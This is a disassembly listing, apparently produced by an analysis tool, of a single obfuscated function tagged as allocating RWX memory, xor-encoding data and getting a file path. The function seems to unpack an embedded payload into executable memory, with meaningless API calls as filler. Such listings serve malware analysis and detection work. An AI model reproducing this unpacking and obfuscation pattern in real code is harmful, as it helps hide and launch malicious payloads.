Function at 0x180048fac
Capabilities:
Allocate or change rwx memory
Encode data using xor
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r13
push r14
push r15
sub rsp, 0x30
mov eax, dword [rsp + 0x70]
lea ebp, [r8 - 0x996]
mov edi, eax
lea r13d, [r8 - 0x17c2]
mov r15d, ecx
mov r14d, r8d
xor r14d, 0xc66
xor edi, 0x985
lea esi, [rax - 0xb2b]
xor r15d, 0x1e4b
lea eax, [rbp + 0xb7a]
mov rbx, r9
cmp edi, eax
jg 0x1800494ac
mov eax, esi
xor eax, 0x74
cmp edi, eax
jle 0x180049369
cmp dword [0x1800e7090], 0x12c3d
mov eax, dword [0x1800e70d0]
mov dword [0x1800e70bc], eax
jbe 0x180049046
mov rcx, qword [section..data]
mov eax, dword [0x1800e7018]
add dword [rcx + 0xac], eax
mov r8, qword [section..data]
mov edx, dword [0x1800e711c]
mov eax, dword [0x1800e70cc]
add eax, 0x5fecb071
sub edx, dword [r8 + 4]
add edx, 0x3ca44
mov dword [0x1800e7028], edx
mov ecx, dword [r9 + 0x80]
mov r9d, dword [0x1800e7078]
add ecx, eax
xor edx, ecx
mov ecx, dword [0x1800e70ec]
cmp dword [0x1800e70b4], 0x1fa0
je 0x1800490a0
lea eax, [rcx + 0x4135]
mov dword [0x1800e70dc], eax
jmp 0x1800490a9
sub ecx, r9d
mov dword [0x1800e70ec], ecx
mov eax, dword [0x1800e7114]
xor r9d, 0x878825a
sub edx, r9d
cmp dword [0x1800e7014], eax
mov dword [0x1800e7028], edx
jbe 0x1800490dd
mov eax, dword [0x1800e703c]
imul eax, dword [r8 + 0x84]
mov dword [0x1800e703c], eax
jmp 0x180049105
mov eax, 0x24638b
sub eax, dword [r8 + 0x9c]
sub eax, dword [0x1800e7050]
add dword [rbx + 0x18], eax
mov ecx, dword [0x1800e70ec]
mov edx, dword [0x1800e7028]
mov r8, qword [section..data]
add edx, 0xc4
mov dword [0x1800e7028], edx
cmp dword [rbx + 0x2c], 0x738d
jb 0x180049137
mov eax, dword [0x1800e7068]
sub eax, ecx
sub eax, 0x1391
add dword [rbx + 0x18], eax
mov edx, dword [0x1800e7028]
mov r8, qword [section..data]
cmp dword [rbx + 0xd8], 0x1dba
jne 0x180049157
imul eax, dword [r8 + 0xd8], 0x2a64a
mov dword [r8 + 0xd8], eax
jmp 0x18004917e
mov r8d, dword [rbx + 0xdc]
xor ecx, ecx
xor r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rax, 0x1800
mov qword [0x1800e7088], rax
mov rax, qword [section..data]
lea r9d, [rbp - 0x239]
lea r8d, [r13 + 0x19d3]
mov dword [rax + 0x48], 0x25c8d
mov eax, 0xffe67f17
mov rcx, qword [section..data]
sub eax, dword [rcx + 0x2c]
add dword [0x1800e7058], eax
lea eax, [rdi + 0xb9a]
xor edi, 0x2b0
mov dword [rsp + 0x20], eax
mov edx, edi
call fcn.1800427cc
mov rcx, qword [section..data]
mov esi, eax
lea rax, [0x180161740]
xor r10d, r10d
mov qword [rcx + 0x60], rax
mov rax, qword [rbx + 0x60]
mov ecx, dword [rbx + 0x58]
sub ecx, dword [0x1800e711c]
mov r8, qword [section..data]
mov r9d, dword [r10 + rax]
add r10, 4
mov eax, dword [0x1800e7114]
mov edx, dword [0x1800e703c]
add eax, 0x11f2ac
imul r9d, dword [r8 + 0x24]
add ecx, eax
add edx, dword [0x1800e7014]
mov rax, qword [0x1800e7080]
xor edx, 0xfff6ab4b
sub dword [0x1800e70cc], edx
mov dword [0x1800e7114], ecx
movsxd rcx, dword [r8 + 0x48]
mov edx, r9d
shr edx, 0x10
mov r8d, r9d
shr r8d, 8
mov byte [rcx + rax], dl
mov rax, qword [section..data]
inc dword [rax + 0x48]
mov rax, qword [section..data]
movsxd rdx, dword [0x1800e7058]
mov rcx, qword [rax + 0x70]
mov byte [rdx + rcx], r8b
inc dword [0x1800e7058]
mov eax, dword [0x1800e711c]
mov r8, qword [section..data]
add eax, 0x5fe78b44
mov edx, dword [0x1800e7050]
mov ecx, dword [r8 + 0xe8]
add ecx, dword [rbx + 0x80]
add ecx, eax
mov dword [0x1800e711c], ecx
mov ecx, dword [r8 + 0xbc]
add edx, ecx
xor edx, ecx
xor edx, 0x197ee6
mov dword [r8 + 0xbc], edx
movsxd rcx, dword [rbx + 0x48]
mov rax, qword [rbx + 0x70]
mov byte [rcx + rax], r9b
inc dword [rbx + 0x48]
mov rax, qword [section..data]
mov ecx, dword [rax + 0xbc]
mov eax, 0x4135
sub ecx, dword [0x1800e70e8]
sub eax, dword [rbx + 0xcc]
sub ecx, 0x84429
add dword [rbx + 0xe8], ecx
add dword [0x1800e70ec], eax
mov rcx, qword [section..data]
mov eax, dword [rcx + 0x68]
sub eax, 0x87880cc
xor dword [rcx + 0x84], eax
mov rdx, qword [section..data]
mov ecx, dword [rbx + 0xcc]
xor ecx, dword [rbx + 0x58]
sub ecx, 0x4134
mov eax, dword [rdx + 0x68]
imul eax, ecx
mov dword [rdx + 0x68], eax
mov eax, dword [rbx + 0x104]
mov ecx, dword [0x1800e703c]
xor eax, 0x1386c2
imul ecx, eax
mov dword [0x1800e703c], ecx
mov eax, dword [rbx + 0x2c]
mov ecx, dword [rbx + 0x9c]
add ecx, dword [0x1800e70b4]
xor ecx, 0x23af4e
imul eax, ecx
mov dword [rbx + 0x2c], eax
cmp r10, 0x54e40
jl 0x1800491dd
jmp 0x1800494ac
mov rcx, qword [section..data]
mov eax, dword [rcx + 0x80]
xor eax, dword [0x1800e70ec]
cmp dword [rcx + 0x5c], eax
jbe 0x18004948d
mov ecx, dword [r9 + 0x58]
and ecx, 0x11b3
call qword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
mov ecx, dword [0x1800e70fc]
mov eax, esi
add ecx, 0x1b30
add ecx, r14d
mov dword [0x1800e70fc], ecx
mov ecx, dword [0x1800e70ec]
sub eax, ecx
lea edx, [rcx + r15]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, esi
movsxd rax, edi
and ecx, 0x19d3
movsxd rdx, esi
imul ecx, dword [0x1800e7100]
xor rdx, rax
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
imul eax, r15d, 0x1fd6
xor dword [rbx + 0xdc], eax
mov eax, dword [rbx + 0xb8]
mov edx, dword [0x1800e70a0]
or eax, r14d
imul eax, edi
add edx, 0xfffff302
xor dword [0x1800e7118], eax
mov ecx, dword [rbx + 0xd4]
mov eax, dword [0x1800e7120]
and ecx, 0x17c2
xor ecx, 0x12b5
xor rdx, rax
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
mov rax, qword [section..data]
lea ecx, [r13 + 0x1a97]
mov r8d, dword [rbx + 0x44]
and ebp, 0x16b7
sub ebp, dword [0x1800e7098]
xor r8d, r14d
imul r8d, dword [rbx + 0xa8]
add ecx, edi
mov edx, dword [rax + 0xf0]
mov r9d, ebp
mov eax, r15d
and rdx, rax
mov eax, dword [0x1800e7014]
and rdx, rax
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rax, qword [section..data]
mov ecx, dword [rax + 0x34]
xor ecx, edi
add ecx, dword [rbx + 0xd8]
call qword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
jmp 0x1800494ac
mov eax, dword [r9 + 0xdc]
lea ecx, [rbp - 0xe2c]
mov edx, esi
xor rdx, 0x1e4f
or rdx, rax
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
mov rbx, qword [rsp + 0x50]
xor esi, 0x1df4
mov rbp, qword [rsp + 0x58]
mov eax, esi
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r13
ret